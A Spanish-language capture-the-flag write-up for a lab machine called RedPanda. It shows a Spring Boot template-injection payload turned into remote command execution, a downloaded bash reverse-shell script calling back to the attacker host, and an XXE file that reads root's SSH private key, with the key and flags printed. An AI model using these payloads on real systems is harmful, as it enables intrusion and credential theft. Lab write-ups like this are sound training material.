RedPanda
10 minutos de lectura
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.170
- Fecha: 09 / 07 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.170 -p 22,8080
Nmap scan report for 10.10.11.170
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200
| Content-Type: text/html;charset=UTF-8
| Content-Language: en-US
| Date:
| Connection: close
| <!DOCTYPE html>
| <html lang="en" dir="ltr">
| <head>
| <meta charset="utf-8">
| <meta author="wooden_k">
| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
| <link rel="stylesheet" href="css/panda.css" type="text/css">
| <link rel="stylesheet" href="css/main.css" type="text/css">
| <title>Red Panda Search | Made with Spring Boot</title>
| </head>
| <body>
| <div class='pande'>
| <div class='ear left'></div>
| <div class='ear right'></div>
| <div class='whiskers left'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='whiskers right'>
| <span></span>
| <span></span>
| <span></span>
| </div>
| <div class='face'>
| <div class='eye
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET,HEAD,OPTIONS
| Content-Length: 0
| Date:
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date:
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Nmap done -- 1 IP address (1 host up) scanned in 16.28 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 8080 (HTTP).
Enumeración
Si vamos a http://10.10.11.170:8080
, tenemos esta página web:
Si realizamos una búsqueda vacía, nos aparece esto:
Nos está retando a que usemos un ataque de inyección. Si leemos el código fuente, vemos que la aplicación web está hecha con Spring Boot (Java):
Vamos a numerar un poco más antes de comenzar con los ataques. Si pinchamos en Author: woodenk
vemos esta página:
Y aquí hay otra opción, que es exportar unos datos en formato XML en /export.xml
:
$ curl '10.10.11.170:8080/export.xml?author=woodenk'
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>6</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>11</totalviews>
</credits>
En resumen, tenemos tres rutas en las que podemos potencialmente inyectar payloads:
- POST:
/search
en un parámetroname
- GET:
/stats?author=woodenk
- GET:
/export.xml?author=woodenk
Vamos a comenzar con el primero usando curl
:
$ curl 10.10.11.170:8080/search -d 'name=asdf'
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title>Red Panda Search | Made with Spring Boot</title>
<link rel="stylesheet" href="css/search.css">
</head>
<body>
<form action="/search" method="POST">
<div class="wrap">
<div class="search">
<input type="text" name="name" placeholder="Search for a red panda">
<button type="submit" class="searchButton">
<i class="fa fa-search"></i>
</button>
</div>
</div>
</form>
<div class="wrapper">
<div class="results">
<h2 class="searched">You searched for: asdf</h2>
<h2>There are 0 results for your search</h2>
</div>
</div>
</body>
</html>
$ curl 10.10.11.170:8080/search -sd 'name=asdf' | grep searched
<h2 class="searched">You searched for: asdf</h2>
Acceso a la máquina
No existe inyección de código SQL, pero podemos probar con Server-Side Template Injection (SSTI) en Spring Boot (Java). Normalmenta, las plantillas en Java usan ${...}
, pero no está permitido:
$ curl 10.10.11.170:8080/search -sd 'name=${7*7}' | grep searched
<h2 class="searched">You searched for: Error occured: banned characters</h2>
Ataque SSTI
En Spring Boot, existe otra manera usando #{...}
:
$ curl 10.10.11.170:8080/search -sd 'name=#{7*7}' | grep searched
<h2 class="searched">You searched for: ??49_en_US??</h2>
Y la inyección es exitosa, vemos 49
. Sin embargo, se trata de una forma limitada de usar plantillas en Spring Boot. Existe más formas, como *{...}
(más información en baeldung.com):
$ curl 10.10.11.170:8080/search -sd 'name=*{7*7}' | grep searched
<h2 class="searched">You searched for: 49</h2>
Consiguiendo RCE
Ahora podemos ir a PayloadsAllTheThings y encontrar una manera de transformar SSTI en ejecución remota de comandos (RCE). Podemos probar con curl
que tenemos conexión con nuestra máquina de atacante:
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("curl+10.10.17.44")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3407, exitValue="not exited"]</h2>
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.170 - - [] "GET / HTTP/1.1" 200 -
Para obtener una reverse shell, podemos descargar un scritp en Bash en la máquina víctima y luego ejecutarlo, Para ello, tenemos que usar dos peticiones web. El script en Bash contiene un comando de reverse shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.17.44/4444 0>&1
Y ahora realizamos el ataque (hay que tener cuidado con la codificación URL):
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("curl+10.10.17.44/r.sh+-o+/tmp/r.sh")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3505, exitValue="not exited"]</h2>
$ curl 10.10.11.170:8080/search -sd 'name=*{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("bash+/tmp/r.sh")}' | grep searched
<h2 class="searched">You searched for: Process[pid=3510, exitValue="not exited"]</h2>
Y conseguimos la conexión de vuelta con nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.170.
Ncat: Connection from 10.10.11.170:53468.
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd
cd
woodenk@redpanda:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
woodenk@redpanda:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
woodenk@redpanda:~$ export TERM=xterm
woodenk@redpanda:~$ export SHELL=bash
woodenk@redpanda:~$ stty rows 50 columns 158
En este punto, podemos leer la flag user.txt
:
woodenk@redpanda:~$ cat user.txt
4729fd292d7e98cd8ac01d7a1b0399c9
Enumeración del sistema
Una enumeración básica solamente muestra que pertenecemos al grupo logs
y los archivos que son propiedad de este grupo:
woodenk@redpanda:/tmp$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp$ find / -group logs 2>/dev/null | grep -vE 'proc|home|tmp'
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
Vamos a enumerar procesos en ejecución con pspy
:
woodenk@redpanda:~$ cd /tmp
woodenk@redpanda:/tmp$ curl 10.10.17.44/pspy64s -so .pspy
woodenk@redpanda:/tmp$ chmod +x .pspy
woodenk@redpanda:/tmp$ ./.pspy
Esta es la manera en la que el servidor está ejecutándose (con sudo -u woodenk
):
...
CMD: UID=1000 PID=892 | java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
CMD: UID=0 PID=89 |
CMD: UID=0 PID=88 |
CMD: UID=0 PID=878 | sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
CMD: UID=0 PID=877 | /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
...
Después de algún tiempo, vemos otro proceso iniciado por root
:
...
CMD: UID=0 PID=1175 | /bin/sh -c /root/run_credits.sh
CMD: UID=0 PID=1174 | /usr/sbin/CRON -f
CMD: UID=0 PID=1177 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
CMD: UID=0 PID=1176 | /bin/sh /root/run_credits.sh
...
De hecho, en /opt
tenemos algunos archivos y directorios interesantes:
woodenk@redpanda:~$ ls -la /opt
total 24
drwxr-xr-x 5 root root 4096 Jun 23 18:12 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rwxr-xr-x 1 root root 462 Jun 23 18:12 cleanup.sh
drwxr-xr-x 3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x 6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x 5 root root 4096 Jun 14 14:35 panda_search
El script cleanup.sh
se ejecuta periódicamente, y se usa para eliminar archivos XML y JPEG, por lo que podemos deducir que el vector de ataque será mediante XML:
woodenk@redpanda:~$ cat /opt/cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
El proyecto denominado credit-score
es el que se ejecuta por root
. Vamos a enumerar archivos Java:
woodenk@redpanda:/tmp$ cd /opt/credit-score/
woodenk@redpanda:/opt/credit-score$ find . -name \*.java
./LogParser/final/.mvn/wrapper/MavenWrapperDownloader.java
./LogParser/final/src/test/java/com/logparser/AppTest.java
./LogParser/final/src/main/java/com/logparser/App.java
Análisis de código estático
Genial, solamente hay un archivo principal (App.java
):
woodenk@redpanda:/opt/credit-score$ cat LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename) {
if (filename.contains(".jpg")) {
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir : metadata.getDirectories()) {
for (Tag tag : dir.getTags()) {
if (tag.getTagName() == "Artist") {
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el : rootElement.getChildren()) {
if (el.getName() == "image") {
if (el.getChild("uri").getText().equals(uri)) {
Integer totalviews =
Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args)
throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line)) {
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
Tenemos un montón de cosas aquí. Vamos a hacer una lista:
- El programa lee un archivo de log en
/opt/panda_search/redpanda.log
línea por línea - Si una línea no contiene
.jpg
se salta a la siguiente - La línea es analizada para extraer
status_code
,ip
,user_agent
yuri
(separados por||
) - Luego, coge el nombre del artista de
uri
(en concreto, de un metadato llamadoArtist
en una imagen JPEG dada) - El nombre del artista es usado para definir la ruta a un archivo XML (
/credits/<artist>_creds.xml
) - Finalmente, se procesa el archivo XML dado
La idea es hacer que el proceso lea un archivo XML malicioso. Para ello, necesitamos controlar el nombre del artista, que viene de un metadato llamado Artist
en una imagen JPEG.
No tenemos permisos de escritura en el sistema de archivos del servidor web, pero podemos romper la lógica del analizador de logs y añadir la URI necesaria en la cabecera User-Agent
de nuestras peticiones web (usando ||
, ya que es lo que usa el analizador como delimitador).
Escalada de privilegios
Vamos a comenzar descargando una imagen legítica y a mostrar el metadato Artist
:
$ curl 10.10.11.170:8080/img/greg.jpg -so greg.jpg
$ exiftool greg.jpg | grep Artist
Artist : woodenk
Modificaré esta imagen para explotar credit-score
:
$ exiftool -Artist='../tmp/rocky' rocky.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - rocky.jpg
1 image files updated
$ exiftool rocky.jpg | grep Artist
Artist : ../tmp/rocky
He puesto ../tmp/rocky
porque la idea es hacer que el programa procese el archivo XML en "/credits" + "../tmp/rocky" + "_creds.xml"
, que es /tmp/rocky_creds.xml
(algo que podemos controlar).
Vamos a subir esta imagen a la máquina en /tmp
:
woodenk@redpanda:/opt/credit-score$ cd /tmp
woodenk@redpanda:/tmp$ wget -q 10.10.17.44/rocky.jpg
En este momento, tenemos que meter el archivo XML malicioso llamado rocky_creds.xml
con una Entidad Externa XML (XXE) que lea el archivo /root/.ssh/id_rsa
. Algo así:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
]>
<credits>
<author>&xxe;</author>
<image>
<uri>/../../../../../../tmp/rocky.jpg</uri>
<views>1337</views>
</image>
<totalviews>1337</totalviews>
</credits>
Ahora, tenemos que realizar peticiones web usando la cabecera User-Agent
maliciosa. Por ejemplo, esta:
$ curl '10.10.11.170:8080/img/greg.jpg' -H 'User-Agent: asdf||/../../../../../../tmp/rocky.jpg'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
La idea es que la URI apunte al archivo "/opt/panda_search/src/main/resources/static" + "/../../../../../../tmp/rocky.jpg"
, que es /tmp/rocky.jpg
(justo la imagen que hemos subido). Nótese que la etiqueta <uri>
del archivo XML contiene esta misma URI.
Ahora el archivo de log /opt/panda_search/redpanda.log
debería contener nuestro payload:
woodenk@redpanda:/tmp$ cat /opt/panda_search/redpanda.log
200||10.10.17.44||asdf||/../../../../../../tmp/rocky.jpg||/img/greg.jpg
Y después de un minuto, root
ejecutará el proyecto credit-score
(un archivo JAR) y procesará el archivo rocky_creds.xml
, mostrando el contenido de /root/.ssh/id_rsa
, como se muestra a continuación:
woodenk@redpanda:/tmp$ cat rocky_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</author>
<image>
<uri>/../../../../../../tmp/rocky</uri>
<views>1337</views>
</image>
<totalviews>1337</totalviews>
</credits>
Finalmente, podemos acceder como root
a la máquina usando esta clave privada de SSH:
$ vim id_rsa
$ chmod 600 id_rsa
$ ssh -i id_rsa root@10.10.11.170
root@redpanda:~# cat root.txt
c14669bf7e8f73a39ae6e2a97cbd05f4